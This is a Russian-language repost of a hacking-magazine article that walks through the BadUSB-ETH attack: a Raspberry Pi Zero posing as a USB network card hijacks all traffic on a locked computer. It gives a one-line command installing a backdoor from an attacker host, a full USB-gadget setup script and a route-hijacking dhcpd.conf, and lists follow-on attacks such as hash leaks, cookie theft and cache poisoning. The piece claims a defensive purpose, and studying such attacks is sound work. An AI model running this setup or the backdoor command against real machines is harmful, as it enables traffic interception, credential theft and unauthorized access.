Категория > Новости > Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH - «Новости»

Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH - «Новости»


23-02-2023, 00:00. Автор: Stevenson
BadUSB-HID? Глав­ное отли­чие в том, что рас­смат­рива­емую ата­ку мож­но реали­зовать на заб­локиро­ван­ном компь­юте­ре. Кро­ме того, для про­веде­ния такой ата­ки не тре­бует­ся скрыт­ное и дли­тель­ное под­клю­чение какого‑либо девай­са, она поз­воля­ет ата­ковать цель за нес­коль­ко минут. Ведь если ПК раз­бло­киро­ван, то мож­но реали­зовать более прос­тую и дей­ствен­ную ата­ку из пре­дыду­щей статьи или прос­то наб­рать на кла­виату­ре коман­ду ска­чива­ния и запус­ка бэк­дора:
msiexec /i https://attacker.tk/backdoor.msi

В ито­ге на «руч­ную» ком­про­мета­цию оставлен­ной без прис­мотра раз­бло­киро­ван­ной пер­сонал­ки пот­ребу­ется все­го три‑четыре секун­ды! Компь­юте­ры сегод­ня пов­сюду, и тор­чащие наружу USB-пор­ты мож­но уви­деть дос­таточ­но час­то.


Не­кон­тро­лиру­емый USB-порт в общес­твен­ном мес­те

Объ­ектом ата­ки может стать заб­локиро­ван­ный компь­ютер, оставлен­ный без прис­мотра на корот­кое вре­мя, либо тер­минал, либо стенд с тор­чащим наружу USB-пор­том.



info


Эта статья — часть серии пуб­ликаций о прак­тичес­ких при­емах взло­ма и атак с исполь­зовани­ем под­ручных устрой­ств, которые мож­но соб­рать дома. В этих матери­алах мы рас­кры­ваем прос­тые спо­собы получе­ния несан­кци­они­рован­ного дос­тупа к защищен­ной информа­ции и показы­ваем, как ее огра­дить от подоб­ных атак. Пре­дыду­щая статья серии: «Очень пло­хая флеш­ка. Раз­бира­ем ата­ку BadUSB в деталях».



 

Теория


Под­клю­чаемое устрой­ство BadUSB-ETH опре­деля­ется как сетевая кар­та Еthernet. На самом деле это не прос­то сетевая кар­та, а устрой­ство, внут­ри которо­го пол­ноцен­ный компь­ютер со сво­ей ОС. И мы реали­зуем дос­таточ­но хит­рую цепоч­ку из мно­жес­тва атак. По сути, это собс­твен­ная, более узко заточен­ная реали­зация Bash Bunny от Hak5. А за осно­ву мы возь­мем откры­тый про­ект PoisonTap.


Пер­вое и самое глав­ное — это то, как мы нас­тра­иваем сеть на ата­куемой машине. В момент под­клю­чения интерфейс имен­но соз­дает­ся, а не под­нима­ется. Это зна­чит, что сра­зу пос­ле под­клю­чения ПК зап­росит нас­трой­ки по DHCP (дефол­тное поведе­ние). В ответ на такой зап­рос наше устрой­ство выда­ет не сов­сем обыч­ную кон­фигура­цию сети, при которой она ста­нет при­ори­тет­ной и перек­роет все активные сетевые под­клю­чения на ата­куемом компь­юте­ре. Дос­тига­ется это через более корот­кие мас­ки мар­шру­тов:


0.0.0.0/0 via 10.10.0.1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему
0.0.0.0/1 via 1.0.0.1 <- наш маршрут, перекрывающий первые 50% IPv4-сетей
128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50% IPv4-сетей (маска короче, поэтому маршрут приоритетнее)

Во всех сов­ремен­ных ОС мар­шру­тиза­ция в IP-сетях стро­ится по еди­ному прин­ципу: чем короче мас­ка сети у мар­шру­та, тем при­ори­тет­нее мар­шрут. Это глав­ное пра­вило мар­шру­тиза­ции. И в нашем слу­чае мас­ка /1 чуть короче мас­ки /0 дефол­тно­го мар­шру­та.


Пос­ле при­мене­ния таких нас­тро­ек нового сетево­го под­клю­чения все пакеты от дру­гих сетевых интерфей­сов пой­дут по новому мар­шру­ту — уже в наше хакер­ское устрой­ство, и мы как бы «вытянем» весь тра­фик. Таким обра­зом, мы смо­жем реаль­но перех­ватывать весь сетевой тра­фик заб­локиро­ван­ного устрой­ства пос­редс­твом обыч­ного USB. Схе­матич­но ата­ка пред­став­лена на рисун­ке ниже.


Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH - «Новости»
Схе­ма ата­ки BadUSB-ETH

Не сто­ит забывать, что мы уста­нови­ли и обыч­ный сетевой канал вза­имо­дей­ствия с заб­локиро­ван­ным ПК. Учи­тывая это, на целевой машине может быть запущен целый спектр сетевых атак, который зависит лишь от тво­ей фан­тазии:



  • NetBIOS Poisoning (Hash leak);

  • MS17-010, BlueKeep, PrintNightmare;

  • Bruteforce;

  • ска­ниро­вание пор­тов, скрин­шоты RDP/WWW и сбор про­чих све­дений.


На­конец, наше устрой­ство явля­ется еще и «супер­шлю­зом», пос­коль­ку сетевой тра­фик, вклю­чая и смеж­ные сетевые интерфей­сы, идет теперь через него. Находясь в позиции «легаль­ного MITM», мы можем запус­тить еще ряд атак, пред­назна­чен­ных для перех­вата тра­фика:



  • Cookie Siphoning (выкачи­вание cookie в redirect-цик­ле перебо­ра сай­тов по сло­варю);

  • WebCache Poisoning (внед­рение js-backdoor в ска­чива­емые jаvascript);

  • Insecure Updates (сиг­нал популяр­ному ПО обно­вить­ся и отправ­ка backdoor);

  • Passive Sniffing (FTP, SMTP, SMB, HTTP, etc).


 

Реализация


Ус­трой­ство может быть реали­зова­но на базе мно­жес­тва одноплат­ных решений. Наибо­лее лег­ковес­ное и извес­тное сре­ди них — Raspberry Pi Zero (W). Эта пла­та не пот­ребу­ет допол­нитель­ного питания, необ­ходимое нап­ряжение берет­ся от USB-пор­та компь­юте­ра. С целью инди­кации хода атак для прос­тоты исполь­зуем три све­тоди­ода со сле­дующи­ми ролями:



  • зе­леный (INFO) — ПК опре­делил наш девайс как сетевую кар­ту Ethernet, и под­нялась сеть;

  • жел­тый (WARNING) — утеч­ка NetNTLM-хеша или иной чувс­тви­тель­ной информа­ции;

  • крас­ный (CRITICAL) — обна­руже­на RCE, подоб­ран пароль и тому подоб­ное.


Боль­шинс­тво одноплат­ных ПК снаб­жены GPIO-пинами, с помощью которых мож­но подавать неболь­шое нап­ряжение, необ­ходимое для работы све­тоди­одов.


Схе­ма под­клю­чения све­тоди­одов

Со­ответс­твен­но, что­бы зажечь, а потом погасить све­тоди­од, под­клю­чен­ный, нап­ример, к 26-му пину, пот­ребу­ется выпол­нить сле­дующие коман­ды ОС внут­ри пла­ты:


raspi-gpio set 26 op dh
sleep 1
raspi-gpio set 26 op dl

Эму­ляция Ethernet-устрой­ства, как и эму­ляция дру­гих видов USB-девай­сов, под­держи­вает­ся непос­редс­твен­но ядром Linux через так называ­емые USB-гад­жеты. Очень кра­сиво такую ата­ку про­демонс­три­ровал Сами Кам­кар (Sami Kamkar) в про­екте под наз­вани­ем PoisonTap:


git clone https://github.com/samyk/poisontap
ln -s~/poisontap /opt/poisontap

Имен­но этот инс­тру­мент взят за осно­ву, осо­бен­но в эму­ляции сетевой кар­ты, но с некото­рыми улуч­шени­ями:


/home/pi/poisontap/pi_startup.sh
rmmod g_ether
cd/sys/kernel/config/usb_gadget/
mkdir -ppoisontap
cd poisontap
echo 0x0694 >idVendor
echo 0x0005 >idProduct
mkdir -pstrings/0x409
echo "Samy Kamkar" >strings/0x409/manufacturer
echo "PoisonTap" >strings/0x409/product
# RNDIS
mkdir configs/c.2
echo "0xC0" >configs/c.2/bmAttributes
echo "1" >configs/c.2/MaxPower
mkdir configs/c.2/strings/0x409
echo "RNDIS" >configs/c.2/strings/0x409/configuration
echo "1" >os_desc/use
echo "0xcd" >os_desc/b_vendor_code
echo "MSFT100" >os_desc/qw_sign
mkdir functions/rndis.usb0
echo "42:61:64:55:53:45" >functions/rndis.usb0/dev_addr
echo "48:6f:73:74:50:44" >functions/rndis.usb0/host_addr
echo "RNDIS" >functions/rndis.usb0/os_desc/interface.rndis/compatible_id
echo "5162001" >functions/rndis.usb0/os_desc/interface.rndis/sub_compatible_id
ln -sfunctions/rndis.usb0 configs/c.2
ln -sconfigs/c.2 os_desc
ls/sys/class/udc > UDC
modprobe g_ether
sleep 10
ifup usb0
ifconfig usb0 up
/sbin/route add -net0.0.0.0/0 usb0
/etc/init.d/isc-dhcp-server restart
/sbin/sysctl -wnet.ipv4.ip_forward=1
#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 1337
#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53
#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.js
iptables -t nat -APOSTROUTING -ousb0 -jMASQUERADE

Пос­коль­ку ата­ка кросс‑плат­формен­ная, тре­бует­ся нас­трой­ка эму­ляции сра­зу двух сос­тавных USB-устрой­ств: для сетевых карт RNDIS (Windows) и CDC (Unix). Перек­рытие сетевых интерфей­сов зада­ется в фай­ле dhcpd.conf:


/etc/dhcp/dhcpd.conf
subnet 0.0.0.0 netmask 128.0.0.0 {
range 1.0.0.10 1.0.0.50;
option broadcast-address 255.255.255.255;
option routers 1.0.0.1;
default-lease-time 600;
max-lease-time 7200;
option domain-name "local";
option domain-name-servers 1.0.0.1;
# send the routes for both the top and bottom of the IPv4 address space
option classless-routes 1,0,1,0,0,1, 1,128,1,0,0,1;
option classless-routes-win 1,0,1,0,0,1, 1,128,1,0,0,1;
}


Перейти обратно к новости